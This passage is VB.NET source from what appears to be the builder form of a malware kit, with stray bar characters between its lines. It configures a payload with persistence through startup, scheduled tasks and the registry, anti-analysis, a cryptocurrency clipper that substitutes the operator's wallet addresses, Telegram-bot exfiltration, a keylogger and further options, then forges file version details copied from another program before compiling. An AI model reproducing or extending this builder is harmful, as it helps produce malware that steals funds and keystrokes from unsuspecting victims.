Source = Replace(Source, "#Const Startup = False", "#Const Startup = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox7.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const Schtasks = False", "#Const Schtasks = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox5.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const RegAdd = False", "#Const RegAdd = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch1.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const Analysis = False", "#Const Analysis = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
Source = Replace(Source, "%Path%", Encrypt(Guna2ComboBox2.Text, randomString))
|
||
|
|
Source = Replace(Source, "%Name%", Encrypt(Guna2TextBox5.Text, randomString))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch6.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const Clipper = False", "#Const Clipper = True")
|
||
|
|
Source = Replace(Source, "%BTC%", Encrypt(BTC, randomString))
|
||
|
|
Source = Replace(Source, "%ETH%", Encrypt(ETH, randomString))
|
||
|
|
Source = Replace(Source, "%Trc20%", Encrypt(TRC20, randomString))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch5.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const TelegramBot = False", "#Const TelegramBot = True")
|
||
|
|
Source = Replace(Source, "%Token%", Encrypt(BotToken, randomString))
|
||
|
|
Source = Replace(Source, "%ChatID%", Encrypt(Botid, randomString))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch2.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const Logger = False", "#Const Logger = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch3.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const BDOS = False", "#Const BDOS = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch4.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const WDEX = False", "#Const WDEX = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox1.Checked Then
|
||
|
|
Dim info As FileVersionInfo = FileVersionInfo.GetVersionInfo(assm)
|
||
|
|
|
||
|
|
|
||
|
|
Source = Replace(Source, "%Title%", info.FileDescription)
|
||
|
|
Source = Replace(Source, "%Des%", info.Comments)
|
||
|
|
Source = Replace(Source, "%Company%", info.CompanyName)
|
||
|
|
Source = Replace(Source, "%Product%", info.ProductName)
|
||
|
|
Source = Replace(Source, "%Copyright%", info.LegalCopyright)
|
||
|
|
Source = Replace(Source, "%Trademark%", info.LegalTrademarks)
|
||
|
|
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
||
|
|
|
||
|
|
|
||
|
|
Source = Source.Replace("%v1%", info.FileMajorPart.ToString())
|
||
|
|
Source = Source.Replace("%v2%", info.FileMinorPart.ToString())
|
||
|
|
Source = Source.Replace("%v3%", info.FileBuildPart.ToString())
|
||
|
|
Source = Source.Replace("%v4%", info.FilePrivatePart.ToString())
|
||
|
|
|
||
|
|
Else
|
||
|
|
|
||
|
|
Source = Replace(Source, "%Title%", Nothing)
|
||
|
|
Source = Replace(Source, "%Des%", Nothing)
|
||
|
|
Source = Replace(Source, "%Company%", Nothing)
|
||
|
|
Source = Replace(Source, "%Product%", Nothing)
|
||
|
|
Source = Replace(Source, "%Copyright%", Nothing)
|
||
|
|
Source = Replace(Source, "%Trademark%", Nothing)
|
||
|
|
Source = Replace(Source, "%Guid%", Guid.NewGuid.ToString)
|
||
|
|
|
||
|
|
|
||
|
|
Source = Source.Replace("%v1%", 1)
|
||
|
|
Source = Source.Replace("%v2%", 0)
|
||
|
|
Source = Source.Replace("%v3%", 0)
|
||
|
|
Source = Source.Replace("%v4%", 0)
|
||
|
|
End If
|
||
|
|
|
||
|
|
Compiler(saveFileDialog.FileName, Source)
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
End Try
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2ToggleSwitch5_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch5.MouseClick
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch5.Checked = True Then
|
||
|
|
Using form As TabNotify = New TBotNotify
|
||
|
|
form.StartPosition = FormStartPosition.Manual
|
||
|
|
form.StartPosition = FormStartPosition.CenterParent
|
||
|
|
If form.ShowDialog() = DialogResult.OK Then
|
||
|
|
BotToken = form.Guna2TextBox1.Text
|
||
|
|
Botid = form.Guna2TextBox2.Text
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch5.Checked = False
|
||
|
|
BotToken = Nothing
|
||
|
|
Botid = Nothing
|
||
|
|
End If
|
||
|
|
End Using
|
||
|
|
End If
|
||
|
|
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2ToggleSwitch6_MouseClick(sender As Object, e As MouseEventArgs) Handles Guna2ToggleSwitch6.MouseClick
|
||
|
|
If Guna2ToggleSwitch6.Checked = True Then
|
||
|
|
Using form As Clipper = New Clipper
|
||
|
|
form.StartPosition = FormStartPosition.Manual
|
||
|
|
form.StartPosition = FormStartPosition.CenterParent
|
||
|
|
If form.ShowDialog() = DialogResult.OK Then
|
||
|
|
BTC = form.Guna2TextBox1.Text
|
||
|
|
ETH = form.Guna2TextBox2.Text
|
||
|
|
TRC20 = form.Guna2TextBox3.Text
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch6.Checked = False
|
||
|
|
BTC = Nothing
|
||
|
|
ETH = Nothing
|
||
|
|
TRC20 = Nothing
|
||
|
|
End If
|
||
|
|
End Using
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox2_IconRightClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconRightClick
|
||
|
|
Try
|
||
|
|
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||
|
|
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) Then
|
||
|
|
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||
|
|
Guna2TextBox2.Clear()
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox2_IconLeftClick(sender As Object, e As EventArgs) Handles Guna2TextBox2.IconLeftClick
|
||
|
|
Try
|
||
|
|
ListBox1.Items.Remove(ListBox1.SelectedItem)
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
End Class
|